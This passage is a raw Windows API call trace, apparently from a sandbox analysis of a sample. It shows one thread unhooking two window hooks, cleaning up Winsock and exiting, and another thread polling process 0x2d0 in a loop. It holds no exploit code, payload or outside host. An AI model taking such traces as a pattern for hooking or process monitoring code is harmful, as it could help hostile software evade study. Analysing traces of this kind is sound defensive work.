WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.524] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.524] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.745] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.745] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x102 [0254.758] PeekMessageW (in: lpMsg=0xc3f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc3f730) returned 0 [0254.758] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xa) returned 0x0 [0254.773] UnhookWindowsHookEx (hhk=0xd019d) returned 1 [0254.773] UnhookWindowsHookEx (hhk=0x3015d) returned 1 [0254.774] WSACleanup () returned 0 [0254.775] KillTimer (hWnd=0x0, uIDEvent=0x0) returned 0 [0254.776] DeleteObject (ho=0x401001bf) returned 1 [0254.776] DeleteObject (ho=0x260a054d) returned 1 [0254.776] DeleteObject (ho=0x190a056e) returned 1 [0254.776] DeleteObject (ho=0x510a069e) returned 1 [0254.776] DeleteObject (ho=0x210a072f) returned 1 [0254.776] DeleteObject (ho=0x3d0a0725) returned 1 [0254.776] DeleteObject (ho=0x410a06b0) returned 1 [0254.776] DeleteObject (ho=0x150a0730) returned 1 [0254.776] DeleteObject (ho=0x70a0733) returned 1 [0254.776] DeleteObject (ho=0xa30a056a) returned 1 [0254.776] DeleteObject (ho=0x4d0a06be) returned 1 [0254.776] DeleteObject (ho=0x11300735) returned 1 [0254.777] DeleteObject (ho=0x14300737) returned 1 [0254.777] DeleteObject (ho=0xd300729) returned 1 [0254.777] DeleteObject (ho=0x4a1006c0) returned 1 [0254.777] DeleteObject (ho=0x2100754) returned 1 [0254.777] DeleteObject (ho=0x58100707) returned 1 [0254.777] DeleteObject (ho=0x3b10068b) returned 1 [0254.777] DeleteObject (ho=0x6610054c) returned 1 [0254.777] DeleteObject (ho=0x2100753) returned 1 [0254.777] DeleteObject (ho=0x5b1006b7) returned 1 [0254.777] LocalFree (hMem=0xd77958) returned 0x0 [0254.777] LocalFree (hMem=0xd3d608) returned 0x0 [0254.778] LocalFree (hMem=0xd3a8a8) returned 0x0 [0254.778] LocalFree (hMem=0xd33948) returned 0x0 [0254.778] LocalFree (hMem=0xd3ceb8) returned 0x0 [0254.778] GlobalHandle (pMem=0xd375d0) returned 0xff0004 [0254.778] GlobalUnlock (hMem=0xff0004) returned 0 [0254.778] LocalFree (hMem=0xd3cda0) returned 0x0 [0254.779] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0xc3f704 | out: phModule=0xc3f704) returned 0 [0254.779] ExitProcess (uExitCode=0x0) Thread: id = 56 os_tid = 0xe1c Thread: id = 59 os_tid = 0xe64 [0229.281] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x25c [0229.281] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0xa) returned 0x102 [0229.305] CloseHandle (hObject=0x25c) returned 1 [0229.305] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.305] Sleep (dwMilliseconds=0x1) [0229.320] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.320] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.336] CloseHandle (hObject=0x260) returned 1 [0229.336] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.336] Sleep (dwMilliseconds=0x1) [0229.352] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.352] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.367] CloseHandle (hObject=0x260) returned 1 [0229.367] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.367] Sleep (dwMilliseconds=0x1) [0229.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.383] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.399] CloseHandle (hObject=0x260) returned 1 [0229.399] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.399] Sleep (dwMilliseconds=0x1) [0229.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.414] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.432] CloseHandle (hObject=0x260) returned 1 [0229.432] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.432] Sleep (dwMilliseconds=0x1) [0229.445] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.446] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.461] CloseHandle (hObject=0x260) returned 1 [0229.461] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.461] Sleep (dwMilliseconds=0x1) [0229.477] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.477] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.492] CloseHandle (hObject=0x260) returned 1 [0229.492] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.492] Sleep (dwMilliseconds=0x1) [0229.509] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.509] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.526] CloseHandle (hObject=0x260) returned 1 [0229.526] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.526] Sleep (dwMilliseconds=0x1) [0229.539] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.539] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.555] CloseHandle (hObject=0x260) returned 1 [0229.555] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.555] Sleep (dwMilliseconds=0x1) [0229.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.570] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.592] CloseHandle (hObject=0x260) returned 1 [0229.592] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.592] Sleep (dwMilliseconds=0x1) [0229.602] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.602] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.617] CloseHandle (hObject=0x260) returned 1 [0229.617] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.617] Sleep (dwMilliseconds=0x1) [0229.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.633] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.649] CloseHandle (hObject=0x260) returned 1 [0229.649] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.649] Sleep (dwMilliseconds=0x1) [0229.664] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.664] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.680] CloseHandle (hObject=0x260) returned 1 [0229.680] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.680] Sleep (dwMilliseconds=0x1) [0229.695] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.695] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.712] CloseHandle (hObject=0x260) returned 1 [0229.712] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.712] Sleep (dwMilliseconds=0x1) [0229.728] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.728] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.746] CloseHandle (hObject=0x260) returned 1 [0229.746] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.746] Sleep (dwMilliseconds=0x1) [0229.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.758] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.773] CloseHandle (hObject=0x260) returned 1 [0229.773] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.774] Sleep (dwMilliseconds=0x1) [0229.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.789] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.806] CloseHandle (hObject=0x260) returned 1 [0229.806] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.806] Sleep (dwMilliseconds=0x1) [0229.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.820] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.836] CloseHandle (hObject=0x260) returned 1 [0229.836] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.836] Sleep (dwMilliseconds=0x1) [0229.852] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.852] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.867] CloseHandle (hObject=0x260) returned 1 [0229.867] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.868] Sleep (dwMilliseconds=0x1) [0229.883] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.883] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.899] CloseHandle (hObject=0x260) returned 1 [0229.899] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.899] Sleep (dwMilliseconds=0x1) [0229.914] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.914] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.930] CloseHandle (hObject=0x260) returned 1 [0229.930] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.930] Sleep (dwMilliseconds=0x1) [0229.946] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.946] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.961] CloseHandle (hObject=0x260) returned 1 [0229.961] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.961] Sleep (dwMilliseconds=0x1) [0229.977] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0229.977] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0229.992] CloseHandle (hObject=0x260) returned 1 [0229.992] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0229.992] Sleep (dwMilliseconds=0x1) [0230.008] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.008] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.035] CloseHandle (hObject=0x260) returned 1 [0230.035] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.035] Sleep (dwMilliseconds=0x1) [0230.039] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.039] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.055] CloseHandle (hObject=0x260) returned 1 [0230.055] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.055] Sleep (dwMilliseconds=0x1) [0230.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.070] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.086] CloseHandle (hObject=0x260) returned 1 [0230.086] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.086] Sleep (dwMilliseconds=0x1) [0230.102] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.102] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.119] CloseHandle (hObject=0x260) returned 1 [0230.119] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.119] Sleep (dwMilliseconds=0x1) [0230.133] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.133] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.150] CloseHandle (hObject=0x260) returned 1 [0230.150] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.150] Sleep (dwMilliseconds=0x1) [0230.164] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.164] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.224] CloseHandle (hObject=0x260) returned 1 [0230.224] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.224] Sleep (dwMilliseconds=0x1) [0230.227] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.227] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.243] CloseHandle (hObject=0x260) returned 1 [0230.243] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.243] Sleep (dwMilliseconds=0x1) [0230.259] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.259] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.274] CloseHandle (hObject=0x260) returned 1 [0230.274] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.274] Sleep (dwMilliseconds=0x1) [0230.290] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.290] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.305] CloseHandle (hObject=0x260) returned 1 [0230.305] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.305] Sleep (dwMilliseconds=0x1) [0230.321] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.321] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.336] CloseHandle (hObject=0x260) returned 1 [0230.336] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.336] Sleep (dwMilliseconds=0x1) [0230.352] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.352] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.367] CloseHandle (hObject=0x260) returned 1 [0230.367] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.367] Sleep (dwMilliseconds=0x1) [0230.383] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.383] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.399] CloseHandle (hObject=0x260) returned 1 [0230.399] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.399] Sleep (dwMilliseconds=0x1) [0230.414] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.414] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.430] CloseHandle (hObject=0x260) returned 1 [0230.430] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.430] Sleep (dwMilliseconds=0x1) [0230.445] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.445] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.461] CloseHandle (hObject=0x260) returned 1 [0230.461] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.461] Sleep (dwMilliseconds=0x1) [0230.477] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.477] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.492] CloseHandle (hObject=0x260) returned 1 [0230.492] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.492] Sleep (dwMilliseconds=0x1) [0230.508] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.508] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.525] CloseHandle (hObject=0x260) returned 1 [0230.525] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.525] Sleep (dwMilliseconds=0x1) [0230.539] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.539] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.555] CloseHandle (hObject=0x260) returned 1 [0230.555] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.555] Sleep (dwMilliseconds=0x1) [0230.570] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.570] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.586] CloseHandle (hObject=0x260) returned 1 [0230.586] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.586] Sleep (dwMilliseconds=0x1) [0230.602] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.602] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.617] CloseHandle (hObject=0x260) returned 1 [0230.618] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.618] Sleep (dwMilliseconds=0x1) [0230.633] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.633] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.649] CloseHandle (hObject=0x260) returned 1 [0230.649] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.649] Sleep (dwMilliseconds=0x1) [0230.664] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.664] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.680] CloseHandle (hObject=0x260) returned 1 [0230.680] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.680] Sleep (dwMilliseconds=0x1) [0230.696] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.696] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.711] CloseHandle (hObject=0x260) returned 1 [0230.711] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.711] Sleep (dwMilliseconds=0x1) [0230.727] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.727] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.742] CloseHandle (hObject=0x260) returned 1 [0230.742] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.742] Sleep (dwMilliseconds=0x1) [0230.800] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.800] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.836] CloseHandle (hObject=0x260) returned 1 [0230.836] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.836] Sleep (dwMilliseconds=0x1) [0230.899] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.899] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.925] CloseHandle (hObject=0x260) returned 1 [0230.925] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.925] Sleep (dwMilliseconds=0x1) [0230.937] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.937] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.945] CloseHandle (hObject=0x260) returned 1 [0230.945] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.945] Sleep (dwMilliseconds=0x1) [0230.961] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.961] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0230.977] CloseHandle (hObject=0x260) returned 1 [0230.977] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0230.977] Sleep (dwMilliseconds=0x1) [0230.992] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0230.992] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.008] CloseHandle (hObject=0x260) returned 1 [0231.008] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.008] Sleep (dwMilliseconds=0x1) [0231.030] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.030] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.039] CloseHandle (hObject=0x260) returned 1 [0231.039] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.039] Sleep (dwMilliseconds=0x1) [0231.055] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.055] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.073] CloseHandle (hObject=0x260) returned 1 [0231.073] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0231.073] Sleep (dwMilliseconds=0x1) [0231.086] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x260 [0231.103] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0xa) returned 0x102 [0231.117] CloseHandle 